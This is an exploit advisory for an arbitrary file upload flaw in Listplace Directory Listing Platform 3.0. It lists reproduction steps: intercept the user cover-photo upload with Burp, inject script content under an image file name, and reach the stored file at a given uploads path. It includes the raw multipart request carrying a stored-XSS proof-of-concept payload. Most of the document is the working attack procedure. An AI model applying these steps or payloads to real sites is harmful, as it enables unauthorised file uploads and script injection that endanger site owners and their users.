# Exploit Title: Listplace Directory Listing Platform 3.0 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 12/07/2023
# Vendor: Bug Finder
# Vendor Homepage: https://bugfinder.net/
# Software Link: https://bugfinder.net/product/listplace-a-complete-directory-listing-platform/22
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server



## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS


## Steps to Reproduce:

1. Login as a [Normal User]
2. In [User Dashboard] go to [Profile Settings] on this Path: https://website/listplace/user/profile
3. Upload any Image to [User_Cover_Photo]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Inject your [Evil-Code] or [Stored XSS]
 
-----------------------------------------------------------
POST /listplace/user/coverPhotoUpdate HTTP/2

-----------------------------------------------------------
Content-Disposition: form-data; name="user_cover_photo"; filename="XSS.png"
Content-Type: image/png

<script>alert(1)</script>
-----------------------------------------------------------

6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS]
8. Access your Uploded Evil file on this Path: https://website/listplace/assets/uploads/users/[Stored-XSS]



[-] Done